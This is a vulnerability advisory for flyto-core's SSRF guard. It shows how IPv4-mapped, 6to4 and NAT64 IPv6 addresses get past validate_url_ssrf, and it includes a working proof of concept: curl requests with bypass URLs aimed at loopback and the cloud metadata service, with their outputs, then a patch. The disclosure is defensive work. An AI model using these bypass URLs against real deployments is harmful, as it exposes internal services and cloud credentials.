CVE-2026-55787

flyto-core has SSRF guard bypass via IPv6 transition addresses (IPv4-mapped / 6to4 / NAT64) in validate_url_ssrf

Summary

flyto-core's SSRF protection (validate_url_ssrf / is_private_ip in src/core/utils.py) blocks private and metadata destinations by resolving the host and testing the resulting IP for membership in a hardcoded PRIVATE_IP_RANGES list. That list contains only the *native* RFC 1918 / loopback / link-local / unique-local ranges. It does not account for IPv6 transition address forms that embed an IPv4 (or loopback) target:

• IPv4-mapped ::ffff:a.b.c.d
• IPv4-compatible ::a.b.c.d
• 6to4 2002::/16
• NAT64 well-known prefix 64:ff9b::/96 and local-use 64:ff9b:1::/48

A workflow author can submit a URL with a literal transition-form host (for example http://[::ffff:127.0.0.1]:8080/... or http://[64:ff9b::a9fe:a9fe]/latest/meta-data/). is_private_ip() returns False for these (the address is not literally inside any listed range), so validate_url_ssrf lets the request through, and the http.get atomic module (and ~10 sibling modules that share the same guard) performs the outbound aiohttp fetch and returns the response body. On a host that uses NAT64/6to4 these addresses route to the embedded IPv4 endpoint (e.g. the cloud instance-metadata service 169.254.169.254); on any dual-stack host the IPv4-mapped form is routed by the kernel directly to the embedded IPv4, including loopback and RFC 1918 internal services.

This is CWE-918 (Server-Side Request Forgery): the guard that exists specifically to keep workflow-authored URLs away from internal/metadata endpoints is bypassable, and the response body is returned to the caller (a read SSRF).

Affected code

src/core/utils.py:

• PRIVATE_IP_RANGES (around L297) — lists native ranges only; no 64:ff9b::/96, no 2002::/16, no ::ffff:0:0/96, no ::/96.
• is_private_ip(ip_str) (around L337) — ipaddress.ip_address(ip_str) then membership test against PRIVATE_IP_RANGES. Because the test is plain network membership (not is_global/is_private predicates), it does not unwrap transition forms, so even ::ffff:127.0.0.1 — which ipaddress itself classifies is_private == True — is not caught here.
• validate_url_ssrf (around L358) — resolves via socket.getaddrinfo(hostname, None, AF_UNSPEC) and rejects only when is_private_ip(ip) is True.
• validate_url_with_env_config(url) (around L496) — the wrapper actually invoked by the modules.

Trust boundary in src/core/modules/atomic/http/get.py:

• L93 url = params.get('url') — workflow parameter, attacker-controlled by the workflow author.
• L104 validate_url_with_env_config(url) — the guard above.
• L116 async with session.get(url, headers=headers, ssl=ssl_param) as response — aiohttp fetch; the body is returned to the caller.

How input reaches the sink (reachability)

params['url'] (L93) is fully attacker-controlled by the workflow author. It reaches the sink with no intervening sanitization other than the SSRF guard itself: L93 read → L104 validate_url_with_env_config(url) (the bypassed guard) → L116 aiohttp session.get. The route is POST /v1/execute with body {"module_id":"http.get","params":{"url":...}} (bearer-token authenticated; the token is the per-instance workflow-author credential), or equivalently an http.get node in a workflow YAML. The response body is returned in the data.body field, making this a read SSRF.

The same guarded-then-fetch pattern is shared by the http.{request,batch,paginate,session}, browser.goto, image.download, communication.webhook_trigger, notification.send, vector.connector and llm.chat atomic modules.

Impact

A user who can author/execute a workflow (the product's normal untrusted-input surface — reachable over the Execution API POST /v1/execute with a module-execute body, or via a workflow YAML node) can drive an authenticated outbound GET to internal-only destinations that the SSRF guard is explicitly meant to block:

• Cloud instance-metadata service (169.254.169.254, metadata.google.internal) on NAT64/6to4-routed hosts via http://[64:ff9b::a9fe:a9fe]/..., exposing IAM credentials / instance identity.
• Loopback and RFC 1918 internal services on any dual-stack host via the IPv4-mapped form http://[::ffff:127.0.0.1]:8080/..., http://[::ffff:10.x.x.x]/....

The response body is returned, so this is a read SSRF (data exfiltration from internal services), not merely a blind request. Auth required = workflow author; this is precisely the input class the guard was written to constrain, and SECURITY.md documents the resolved-IP check as a security control, so the bypass is against the project's own stated model. CWE-918. Severity: Medium-High.

PoC / Proof of concept

End-to-end reproduction (against pinned version)

Environment: real flyto-core Execution API booted from a clean install of the current default-branch HEAD (commit 4636d9f0dcf220a11cfaa1a63927b79042bfdc5c), Python 3.12.13, aiohttp 3.13.5. No FLYTO_ALLOW_PRIVATE_NETWORK / FLYTO_ALLOWED_HOSTS / FLYTO_VSCODE_LOCAL_MODE set (production defaults).

Install and boot the real server:

git clone https://github.com/flytohub/flyto-core && cd flyto-core
python3.12 -m venv venv && . venv/bin/activate
pip install ".[api]"
python -m core.api            # starts uvicorn on 127.0.0.1:8333; prints token path
TOKEN=$(cat ~/.flyto/.api-token-8333)   # auto-generated bearer token for /v1/execute

Start a sentinel that stands in for an internal-only service (bound to loopback, on an allowed port 8080):

# sentinel.py — simulates an internal metadata/admin service reachable only from the host
from http.server import BaseHTTPRequestHandler, HTTPServer
SENTINEL = "FLYTO_SSRF_SENTINEL_INTERNAL_ec5d9a2f_IMDS_STANDIN"
class H(BaseHTTPRequestHandler):
    def do_GET(self):
        body = f"{SENTINEL} path={self.path} from={self.client_address[0]}".encode()
        self.send_response(200); self.send_header("Content-Type","text/plain")
        self.send_header("Content-Length",str(len(body))); self.end_headers(); self.wfile.write(body)
    def log_message(self,*a): pass
HTTPServer(("127.0.0.1", 8080), H).serve_forever()

Run python sentinel.py in a second terminal.

Negative control 1 — raw loopback literal is correctly blocked

$ curl -s -X POST http://127.0.0.1:8333/v1/execute -H "Authorization: Bearer $TOKEN" \
    -H "Content-Type: application/json" \
    -d '{"module_id":"http.get","params":{"url":"http://127.0.0.1:8080/latest/meta-data/"}}'
{"ok":false,"data":null,"error":"Module http.get failed after 3 attempts: [NETWORK_ERROR] Hostname blocked: 127.0.0.1","browser_session":null,"duration_ms":6010}

Negative control 2 — raw IMDS literal is correctly blocked

$ curl -s -X POST http://127.0.0.1:8333/v1/execute -H "Authorization: Bearer $TOKEN" \
    -H "Content-Type: application/json" \
    -d '{"module_id":"http.get","params":{"url":"http://169.254.169.254/latest/meta-data/"}}'
{"ok":false,"data":null,"error":"Module http.get failed after 3 attempts: [NETWORK_ERROR] Hostname blocked: 169.254.169.254","browser_session":null,"duration_ms":3003}

Bypass — IPv4-mapped IPv6 literal reaches the internal sentinel

$ curl -s -X POST http://127.0.0.1:8333/v1/execute -H "Authorization: Bearer $TOKEN" \
    -H "Content-Type: application/json" \
    -d '{"module_id":"http.get","params":{"url":"http://[::ffff:127.0.0.1]:8080/latest/meta-data/iam/security-credentials/admin-role"}}'
{"ok":true,"data":{"ok":true,"data":{"status":200,"body":"FLYTO_SSRF_SENTINEL_INTERNAL_ec5d9a2f_IMDS_STANDIN path=/latest/meta-data/iam/security-credentials/admin-role from=127.0.0.1","headers":{"Server":"BaseHTTP/0.6 Python/3.12.13","Date":"Sat, 30 May 2026 08:13:39 GMT","Content-Type":"text/plain","Content-Length":"124"}}},"error":null,"browser_session":null,"duration_ms":1}

The sentinel access log confirms the request really arrived from the app:

[sentinel] "GET /latest/meta-data/iam/security-credentials/admin-role HTTP/1.1" 200 -

The guard passed the transition-form host and the internal sentinel body (including the FLYTO_SSRF_SENTINEL_INTERNAL_ec5d9a2f_IMDS_STANDIN marker) was returned to the caller.

Bypass — NAT64 well-known-prefix IMDS vector reaches the SSRF gate

On this host there is no NAT64 router, so the connection cannot complete; the point is that the guard does not raise SSRFError for the NAT64 form (it proceeds to a network connect that then times out), in contrast to the raw 169.254.169.254 which is blocked at the guard:

$ curl -s -X POST http://127.0.0.1:8333/v1/execute -H "Authorization: Bearer $TOKEN" \
    -H "Content-Type: application/json" \
    -d '{"module_id":"http.get","params":{"url":"http://[64:ff9b::a9fe:a9fe]/latest/meta-data/"}}'
{"ok":false,"data":null,"error":"Module http.get failed after 3 attempts: [NETWORK_ERROR] ","browser_session":null,"duration_ms":95805}

(64:ff9b::a9fe:a9fe is the NAT64-WKP encoding of 169.254.169.254. The empty [NETWORK_ERROR] is a connect timeout, not the Hostname blocked / URL resolves to private IP SSRF rejection seen for the raw forms — proving the guard let it through to the network layer. On a NAT64-enabled host the kernel routes this to the cloud metadata endpoint.)

Vector liveness on the affected runtime

Verified directly against the project's guard logic on Python 3.12.13 (the Dockerfile runtime; requires-python >= 3.9). Because the guard uses plain PRIVATE_IP_RANGES membership rather than the is_global/is_private predicates, it is not affected by the CPython CVE-2024-4032 (3.12.4+) reclassification, and all of these bypass the guard on every supported runtime:

64:ff9b::a9fe:a9fe       guard_blocks=False   (NAT64-WKP -> 169.254.169.254)
64:ff9b::7f00:1          guard_blocks=False   (NAT64-WKP -> 127.0.0.1)
2002:7f00:1::            guard_blocks=False   (6to4 -> 127.0.0.1)
::ffff:169.254.169.254   guard_blocks=False   (IPv4-mapped -> IMDS)
::ffff:127.0.0.1         guard_blocks=False   (IPv4-mapped -> loopback)   [used in the deployed bypass above]
169.254.169.254          guard_blocks=True    (native, correctly blocked)
127.0.0.1                guard_blocks=True    (native, correctly blocked)

Suggested fix

Unwrap any embedded IPv4 from IPv6 transition forms and range-check it as well as the outer address, before the membership test. Re-checking the embedded IPv4 (rather than blanket-blocking the prefix) keeps legitimate public destinations expressed in transition form allowed.

def _extract_embedded_ipv4(ip):
    """IPv4 embedded in an IPv6 transition address (mapped/compat/6to4/NAT64), else None."""
    if ip.version != 6:
        return None
    if ip.ipv4_mapped is not None:
        return ip.ipv4_mapped
    if ip.sixtofour is not None:               # 2002::/16
        return ip.sixtofour
    raw = int(ip).to_bytes(16, 'big')
    if raw[:2] == b'\x00\x64' and (raw[2:4] == b'\xff\x9b' or raw[2:6] == b'\xff\x9b\x00\x01'):
        return ipaddress.IPv4Address(raw[-4:])  # NAT64 64:ff9b::/96 and 64:ff9b:1::/48
    if raw[:12] == bytes(12) and raw[12:] not in (bytes(4), b'\x00\x00\x00\x01'):
        return ipaddress.IPv4Address(raw[-4:])  # IPv4-compatible ::a.b.c.d (deprecated)
    return None
def is_private_ip(ip_str: str) -> bool:
    try:
        ip = ipaddress.ip_address(ip_str)
    except ValueError:
        return True
    candidates = [ip]
    embedded = _extract_embedded_ipv4(ip)
    if embedded is not None:
        candidates.append(embedded)
    for candidate in candidates:
        for network in PRIVATE_IP_RANGES:
            if candidate.version == network.version and candidate in network:
                return True
    return False

Patched-build verification (same deployed server, fix applied)

With the fix applied to the installed core/utils.py and the server restarted, the previously-successful bypass is now blocked at the guard, and the NAT64 form is now an SSRFError instead of a connect timeout:

# [::ffff:127.0.0.1]:8080  (was ok:true returning the sentinel; now blocked)
{"ok":false,"data":null,"error":"Module http.get failed after 3 attempts: [NETWORK_ERROR] URL resolves to private IP: ::ffff:127.0.0.1 -> ::ffff:127.0.0.1. Use 'allowed_hosts' to enable controlled private access.","duration_ms":5573}
[64:ff9b::a9fe:a9fe]  (was a 95s connect timeout; now rejected at the SSRF gate)
{"ok":false,"data":null,"error":"Module http.get failed after 3 attempts: [NETWORK_ERROR] URL resolves to private IP: 64:ff9b::a9fe:a9fe -> 64:ff9b::a9fe:a9fe. Use 'allowed_hosts' to enable controlled private access.","duration_ms":3003}

Public destinations expressed in transition form (e.g. ::ffff:8.8.8.8, 64:ff9b::808:808 = 8.8.8.8) remain allowed by the fix, since the embedded IPv4 is itself public.

Fix PR

A fix PR with the change above plus regression tests is provided via the advisory's private temporary fork (link added to this advisory).

Credit

Reported by tonghuaroot. Found by independent source review and confirmed with the deployed end-to-end reproduction above. CWE-918.